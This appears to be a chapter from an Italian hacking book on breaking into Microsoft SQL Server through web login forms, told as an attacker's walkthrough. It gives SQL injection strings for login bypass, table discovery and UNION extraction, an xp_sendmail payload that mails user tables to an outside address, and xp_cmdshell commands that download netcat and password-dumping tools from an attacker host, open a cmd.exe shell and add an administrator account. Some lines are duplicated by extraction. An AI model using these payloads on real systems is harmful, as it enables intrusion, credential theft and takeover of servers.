Sei sulla pagina 1di 5

SQL Server

Spesso i sistemi di database vengono utilizzati connessi ai WEB in attesa che .NET ci liberi da questo sistema di interfacciamento che spesso costituisce un metodo aggiuntivo per creare danni nei confronti di WEB e servers http.

In alcuni capitoli abbiamo visto come i dati inseriti dentro ai database potrebbero costituire

una specie di cavallo di troia per riuscire a fare interpretare al sistema dei comandi inseriti da un utente remoto. Molte volte i progettisti delle interfacce WEB non curano in modo particolare il controllo dei valori inseriti all’interno dei campi dei vari guestbook o altri software che inserisco e poi leggono dati da un database. Un giorno l’amministratore di una società concorrente ad un'altra che eseguiva ricerche nel campo del genoma ricevette una email da parte di un hacker il quale affermava che era riuscito ad impossessarsi dei dati della società concorrente e che questi erano venduti ad una cifra cospicua.

Il costo elevato era giustificato dal fatto che la società a cui erano stati carpiti i dati possedeva

un

firewall molto sicuro collegato al server, che forniva servizi di interrogazione sulla base dati

ai

clienti, il quale aveva praticamente tutte le porte filtrate o disattivate.

In

altre parole il server veniva filtrato in modo tale che solo le porte 25 e 443 passavano.

Indipendentemente da tutto l’hacker era riuscito a sottrarre le informazioni da vendere.

L’amministratore della società a cui era stata fatta l’offerta che capiva qualche cosa di sistemi informativi si impallo volendo capire in che modo l’hacker era riuscito ad accedere al sistema. Collegandosi sul sito della società del genoma si accorse che era attivo un servizio a pagamento indirizzato alla società che erano interessate ad eseguire delle ricerche su questo.

Il login era gestito tramite un file .HTML dentro al quale ad un certo punto era presente il meccanismo che gestiva i login.

Il codice di quel punto era :

<form name=”Logon” method=”post” action=”https://www.genoma.com/scripts/Logon.asp> <p>User name: <input type=”text” name=”uname” maxlenght=”25”>

A questo punto l’amministratore provò a premere il pulsante di OK senza inserire nulla

vedendosi stampare il seguente messaggio.

Microsoft OLE DB Provider for SQL Server error ‘80040e14’ Unclosed quotation mark before the character string ‘’ and Password=’’. /scripts/Logon.asp, Line 20

A questo punto provò ad inserire il nome IO come Login e un apicetto come password.

La risposta fu :

Microsoft OLE DB Provider for SQL Server error ‘80040e14’ Unclosed quotation mark before the character string ‘’’. /scripts/Logon.asp, Line 20

Questo lo portò a capire che esisteva il campo Name e quello Password. Infatti inserendo sia un utente che una password la risposta fu :

GENOMA Logon Failed Unknow user: IO Please re-enter Login and Password.

Ma come aveva fatto l’hacker a conoscere il nome della tabella che veniva interrogata ?

Le varie prove avevano portato a supporre che il sistema interrogasse il database con una

query del tipo :

select * from nome_del_database where username=’IO’ and password=’password’

Se al posto della password l’amministratore avesse inserito la stringa :

group by username –

il sistema avrebbe risposto :

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’ Column ‘UserInfo.username’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /scripts/Logon.asp, Line 20

A questo punto si sarebbe capito che il nome della tabella era UserInfo

Inoltre se il sistema SQL Server fosse stato settato insieme a Exchange ci sarebbe potuta essere una stored procedure chiamata xp_sendmail che permette di inviare delle email a qualsiasi destinazione.

In aggiunta questa stored procedure ha la possibilità di eseguire una query per selezionare a

chi inviare i dati. Le stored procedure sono procedure che vengono salvate all’interno del database stesso. Se volessimo inserire tutti gli statement SQL all’interno di un database invece di inserirli dentro al nostro programma, successivamente potremmo solo richiamarle ed eseguirle mediante statement speciali. Considerate il seguente comando da concatenare alla fine di un normalissimo statement SQL:

Master

xp_sendmail

@recipients=’hacker@hacker.org’,

@subject

=

‘Saluti!’,

@query=’Select

*

from

usernames

order

by

ID’,

@attach:result=True

Questa estrarrebbe I dati dall’archivio usernames e invierrebbe un email. Come avete visto xp_sendmail permette di specificare altre stored procedure Se desiderassimo avere la struttura del database dovremmo dare la query :

select * from sysobjects

Il fatto di poter specificare delle stored procedure ci permette di di eseguire una xp_sendmail

con sp_help userinfo. Sp_help è una piccolissima stored procedure che permette di eseguire il dump della struttura del database, le relazioni e molte altre informazioni. Come sempre le maggiori pericolosità derivano dai system administrator che settano i sistemi come non dovrebbero essere settati.

Se ad esempio SQL SERVER venisse lanciato come LocalSystem con privilegi di

Administrator o addirittura come Domain Administrator allora sarebbe possibile usare un'altra stored procedure chiamata xp_cmdshell per eseguire dei comandi dentro ad una shell DOS. Per chi non lo sapesse quando un sistema è collegato ad un Dominio un sistema potrebbe fare il login come macchina locale o come login di dominio.

Il fatto di inserire parti di statement SQL dentro ai valori letti dentro a campi WEB potrebbe essere ancora più pericoloso. Supponiamo di sapere che su di un sistema ci sia un utente numerato ‘00001’ di cui non si conosce la password per accedere. Nella maschera WEB verranno chiesti il codice utente e la sua password dopo di che questi dati verrebbero inseriti dentro ad uno statement SQL del tipo :

Chiaramente il sistema, a meno che non siate fortunati a indovinare la password, vi risponderà dicendovi che la password è errata. Ma se a questo punto invece di mettere solo la password noi scrivessimo :

password’+or+Utente%3d’00001’

cosa capiterebbe ?

Il carattere + verrebbe traslato in uno spazio mentre quello %3d in un segno = per cui lo statement SQL diventerebbe:

SELECT * FROM UserInfo Where (Utente=’00001’ AND Password=’password’ or Utente=’00001’)

Chiaramente I dati restituiti non li potremo manipolare ma dovremo accettare quelli che il WEB ci restituisce. La ricerca dei database SQL Server potrebbe avvenire mediante un semplice porta scanner ricercando porte del tipo di 1403, 4505 anche se di fatto l’amministratore potrebbe settarle differentemente. (Un utility fatta apposta è SQLPING la quale restituisce le seguenti informazioni :

Nome del server SQL Nome istanza (quella di default è MSSQLserver) Stato cluster (se il server è parte di un sistema in cluster) Versione Supporto NETLIB.

Il metodo di lavoro convenzionale è quello mediante il QUERY ANALYZER.

lavoro convenzionale è quello mediante il QUERY ANALYZER. Chiaramente la connessione ad un sistema SQLSERVER deve

Chiaramente la connessione ad un sistema SQLSERVER deve essere supportato dall’inserimento del login e della password corretta.

A

questo punto ci ritroviamo nuovamente nella necessità di trovare il metodo per individuare

le

password corrette.

Negli altri capitoli abbiamo visto utility particolari che permettevano di usare la forza bruta, il metodo combinatorio, per l’individuazione delle pasword. Generalmente i sistemi SQL server possiedono l’utente sa che sarebbe quello del system administrator.

Moltissimi sistemisti non lo eliminano ma semplicemente cambiano la password. Esistono delle utilties specializzate per l’individuazione delle password legate all’utente SA e precisamente SQLDICT e SQLBF. Come tutte le utilties basate su dizionari anche queste potrebbero richiedere moltissimi tentivi i quali verrebbero sempre logati.

moltissimi tentivi i quali verrebbero sempre logati. L’utility SQLPOKE invece di eseguire delle prove come i

L’utility SQLPOKE invece di eseguire delle prove come i programmi di prima tenta di trovare gli accessi di dove esistono pasword blank. Quando riesce a trovare un accesso sa con password blank può eseguire fino a 32 comandi specificati. Precedentemente abbiamo parlato di stored procedure e del metodo per eseguirle. Queste che seguono sono altre che possono essere usate su SQL SERVER 2000.

Xp_peekqueue

Xp_printstatements

Xp_proxiedmetadata

Xp_setsqlsecurity

Xp_sqlagentmnitor

Xp_enumresultset

Xp_showcolv

Xp_displayparamstmt

Xp_updatecolvbm

Sp_oacreate

Sp_oamethod

Sp_oagetproperty

Sp_oasetproperty

Sp_oadestroy

Quante volte nel libro ci siamo trovati davanti alla fatidica tftp per trasferire codice pericoloso sui servers ? Lo abbiamo visto con le email, con i vari unicode bug, quello msadc e quindi non poteva mancare un metodo di usarlo con SQL SERVER. Supponiamo di avere sempre su di un WEB il campo dove quello che scriviamo dentro viene usato per settare lo statement SQL. Invece di scrivere solo il valore di ricerca inseriamo :

zz’ UNION SELECT 1, (SELECT qqversion), SUSER_SNAME(), 1 –

In pratica cerca due z eseguendo un UNION di un risultato vuoto con i dati che l’hacker vuole ottenere. La parte più interessante di questa iniezione di codice sono i due trattini alla fine. Questo è necessario per commentare l’ultime virgolette al fine di circondare l’input specificato dall’hacker. Se il tutto funziona l’hacker riceverà come output la versione di SQL e lo stato del service pack, la versione dell’ OS e anche il login usato per dare il comando. Chiaramente se il tutto fosse eseguito come administrator allora sarebbe possibile dare qualsiasi comando. Un'altra stringa da iniettare potrebbe essere la seguente :

zz’ exec master

xp_cmdshell

‘tftp –i nostrohost.com GET netcat.exe’—

e quindi questa :

zz’ exec master

xp_cmdshell

‘netcat –L –d –e cmd.exe –p 53’—

Ed ecco come abbiamo nuovamente ativato tftp per trasferire ed eseguire il solito netcat.

I comandi xp usano librerie esterne per la loro esecuzione e come tutte le cose che hanno

come scopo quello di estendere le possibilità dell’amministratore esistono dei lati oscuri nel loro uso. Come abbiamo detto prima i problemi vengono fuori quando SQL server viene eseguito come LocalSystem. Infatti grazie a questi comandi XP uniti a certe possibilità dei comandi net è possibile, ad esempio, aggiungere utenti al sistema.

Xp_cmdshell ‘net user found stone /ADD’ Xp_cmdshell ‘net localgroup /ADD Administrators found’

Le due righe di prima aggiungono un utente found con password stone. Uno script che potrebbe essere inviato alla vittima tramite il Query analyzer è quella che segue :

EXEC xp_cmdshell ‘echo open 192.168.234.39 > ftptem’ EXEC xp_cmdshell ‘echo user anonymous ladee@da.com >>ftptemp’ EXEC xp_cmdshell ‘echo bin >>ftptemp’ EXEC xp_cmdshell ‘echo get nc.exe >>ftptemp’ EXEC xp_cmdshell ‘echo get kill.exe’ EXEC xp_cmdshell ‘echo get samdump.dll >>ftptemp’ EXEC xp_cmdshell ‘echo get pwdump2 >>ftptemp’ EXEC xp_cmdshell ‘echo get pulist.exe >>ftptemp’ EXEC xp_cmdshell ‘echo bye >>ftptemp’ EXEC xp_cmdshell ‘ftp –n –s:ftptemp’ EXEC xp_cmdshell ‘erase ftptemp’ EXEC xp_cmdshell ‘start nc –L –d –p 2002 –e cmd.exe’

Ora sarà sufficiente lanciare sulla nostra macchina :

C:\>nc –vv 10.0.0.1 2301